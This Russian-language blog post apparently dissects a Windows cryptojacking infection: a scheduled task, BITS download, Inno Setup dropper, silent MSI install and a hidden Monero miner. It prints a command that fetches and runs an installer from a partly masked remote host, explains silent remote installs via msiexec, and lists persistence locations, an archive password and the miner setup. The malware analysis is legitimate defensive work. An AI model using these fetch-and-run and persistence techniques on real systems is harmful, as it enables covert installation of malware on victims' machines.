Криптоджекинг или разбираем вирус-майнер под Windows

cryptojacking

реклама

Как-то раз на неделе обратился коллега из офиса, говорит, что его домашний компьютер вдруг начинает жутко лагать, самопроизвольно перезагружается, и т.п.

Первым делом была проверена автозагрузка процессов и служб, как обычно делает большинство «мастеров», думая, что они при отключении там чего-либо полностью излечили компьютер от вирусов. Может быть раньше, со всякими WinLocker’ами или рекламными баннерами этот трюк и прокатывал, но времена меняются, и теперь технологии другие. В винде любых версий есть старые дыры, но вполне функциональные. Итак, первое, что видно при включении компьютера — открывается вот такое вот окошко:

В автозагрузке всё в порядке:

автозагрузка

автозагрузка

После того, как компьютер был штатно вылечен двумя разными антивирусами, возникла идея исследовать этот файл, который система начала загружать. Но не всё оказалось так просто.

Итак, дальше расписано по шагам, каким образом работает этот вирус, и к какому конечному результату это приводит.

Шаг 0. Попадание первичного файла в систему

Для того, чтобы в системе MS Windows инициировался какой-либо процесс, что-то должно его запускать. В первых версиях вирусов — ярлык вируса просто кидался в папку автозагрузки программ, в Windows 7 она находится по адресу:

%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Потом вирусы стали добавляться в ветви реестра [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] и то же самое в разделе HKEY_LOCAL_MACHINE, откуда удалить их было уже не так просто. Но оказалось, что в автозагрузку эти файлы можно и не добавлять, чтобы не провоцировать простенькие антивирусы. В системе существует «Планировщик заданий» (mmc.exe), куда прекрасно можно добавить задачу автозапуска какой-либо программы, и даже целую исполняемую часть командной строки (сценарий):

Планировщик заданий

Планировщик заданий

В таком случае на действия начинают реагировать лишь единицы антивирусов, никакие авасты, макаффи и т.п. фри версии антивирей туда по большей части даже не суются.

Попытался зайти на тот адрес из окна (http://f******r.com/) в веб-браузере. Но, попробовав ввести тот адрес, да и вообще, какой бы адрес я не открывал, я получал заглушку на nginx:

Дальше я стал копать и выяснил, что бирюзовое окно — это рабочее окно системы BITS (Background Intelligent Transfer Service). Изначально он предназначен для быстрой передачи данных по специальному протоколу через команды приложений. Как оказалось, именно этот протокол стал часто использоваться для загрузки вирусов. Поэтому я подключился через этот протокол, используя команды PowerShell по оригинальному адресу:

рабочее окно системы BITS

рабочее окно системы BITS

Получил какой-то файл, весом гораздо больше пустой веб-страницы:

Первичный файл

Первичный файл

Видимо, на сервере специальным образом настроены порты, чтобы при обращении именно от BITS был отправлен экземпляр этого файла. При этом, как выяснилось, неважно, какое название у архива — всегда будет получен тот же файл. Давайте исследуем его.

Шаг 1: Первичный файл загружен. Что это?

Я открыл файл в Hex-редакторе, чтобы распознать тип. Начинается он с MZP, значит файл исполняемый. В файле была обнаружена сигнатура Inno Setup, стало ясно, что это — файл инсталлятора чего-либо:

Hex-редактор

Hex-редактор

Шаг 2. Unpacker

Вместо установки этого файла я воспользовался утилитой Inno Unpacker, которая дала мне следующие файлы, содержащиеся внутри проекта:

Собственно, как оказалось, программа никаких файлов в себе не содержала — только скрипт install_script с описанием установщика, а так же скомпилированный фрагмент кода, выполненного на паскале. Вот файл скрипта:

файл скрипта на паскале

файл скрипта на паскале

реклама

Обратите внимание на параметры [Setup], а именно название программы, и выходное имя файла OutputBasenameFile (оно совпадает кое с чем на первой картинке).

Шаг 3. Код

Также неизвестным оставался код программы CompiledCode.bin. Для того, чтобы расшифровать его, я воспользовался декомпилятором паскаль-фрагмента кода:

код программы

код программы

Шаг 4. Дешифровка

Стало ясно, что данные внутри кода немного зашифрованы (обфусцированы) от посторонних глаз. Немного видоизменив код, я интерпретировал его на FreePascal’е, и получил следующий результат:

Собственно, здесь можно видеть копии команд, выполняемых в Windows через cmd shell. Здесь указана команда на мгновенную перезагрузку (скорее всего, отключает антивирус: во время выключения все программы закрываются, но сам код успевает исполнится, таким образом простые антивирусы не обнаружат загрузки кода). 5 строка — это задержка в 5 сек. перед выполнением команды Del.

Подробно нас интересует четвертая строчка: что такое msiexec?

Шаг 5. Загрузка главного инсталлятора. Распаковка

Для тех, кто слышит об этом в первый раз — да, не удивляйтесь. Вбив в командную строку такую команду: msiexec.exe /q /i (веб-адрес), начнется немедленная, скрытая и невидимая установка исполняемого кода с удаленного адреса в систему, если инсталлятор и скрипт собран в формате msi. Файл может даже не иметь сертификата подписи. В файле могут исполняться любые команды по созданию, перемещению, переименованию файлов внутри системы, добавления их в реестр и запуск. Зачем это было добавлено? Именно через эту подпрограмму система загружает обновления. Ничего не мешает закинуть туда свои скрипты и файлы.

Ситуация такая же, как и с первым файлом — если открыть этот сайт по http, он выдаёт заглушку массой в 233 байта. Если же обратиться по любому адресу через msiexec, то сервер посылает очередной архив, весом в 2,9 Мб. Скорее всего, это вызвано определенным использование портов и специальных команд системы. Но сайт в этот раз уже другой. Это может быть одно из сотен зеркал, все настроены одинаково — обратившись по новому домену через оригинальный BITS я получил файл, весом в 328 Кб, т.е. файл с паскалем. И наоборот.

Давайте посмотрим, что внутри инсталлятора, для этого распакуем его при помощи 7-zip как обычный архив:

архив под паролем

архив под паролем

Внутри инсталлятора (MSICEE2.msi) оказались два файла: unzip.exe и vcruntime140.lib.zip. Во втором архиве ещё 2 файла, но он запаролен. Для начала я исследовал файл unzip.exe:

Hex-редактор

Hex-редактор

Оказалось, что этот файл является неизмененной копией утилиты для систем Windows 2005 года, которая называется «Info-Zip UnZip», и являющейся простым распаковщиком zip-файлов. Вот, что будет, если её запустить:

Info-Zip UnZip

Info-Zip UnZip

Несмотря на древность, применение этой утилиты здесь оправдано, далее расскажу, почему именно. Итак, осмотрев файлы мы зашли в тупик — что делать? Программа изучена, а второй архив запаролен. Но при помощи архиватора 7-zip мы не смогли извлечь установочный скрипт из MSI-файла. Пришлось запустить этот инсталлятор на виртуальной машине с логгированием: такой командой:

msiexec.exe /i http://revir.i********s.info/yskwozrivwuwc.txt /L*V log.txt

После чего из машины был вытащен лог установки, размером в 140кб. Пройдусь по его ключевым моментам:

лог установки

лог установки

Шаг 6. Разбор работы

В одной из строчек виден пароль от архива: IBM644. Но обычный архиватор этот пароль не принимает — распаковываются файлы только оригинальным UnZip’ом при помощи этой команды.

Все файлы внутри архива — исполняемые библиотеки для системы типа dll или lib. Написаны они на C, декомпилировать их я смысла не видел. Возможно, именно в них содержится блок, занимающийся копированием вируса в системе, но так глубоко я их не копал. В песочнице после их регистрации в системе (папка TEMP) появился следующий файл: [612A9A]. Смотрим, что у него внутри:

Этот файл представляет собой json — конфиг, в котором видно ключевое слово CryptoNight и URL, логин и пароль от майнинг-сервера. Данный майнер майнит монету «Monero». Данный файл подозрительно совпадает с конфиг-файлом для Windows-версии майнера «****Rig»:

конфиг

конфиг

Скормив этот конфиг исполняемому файлу майнера (оконной версии), загруженному из интернета, действительно компьютер получил настоящую «работу», и видео при этом стало жутко лагать. В оригинальном конфиге прописано также исполнение без gui (фоновым процессом — никаких окон).

работа майнера

работа майнера

Собственно, это и есть конечный результат. Помайнил 10 секунд для него, чтобы сделать вам скрин, надеюсь, что вырученных за это время денег автору хватит как минимум на два билета до Канарских островов. Итого имеем сложный файл, прописывающий себя в нескольких местах системы, работающий на языках Pascal и C++, в итоге приводящий к запланированному запуску майнера. Берегите свои компьютеры.

Читайте также:

Добавить комментарий

Ваш e-mail не будет опубликован.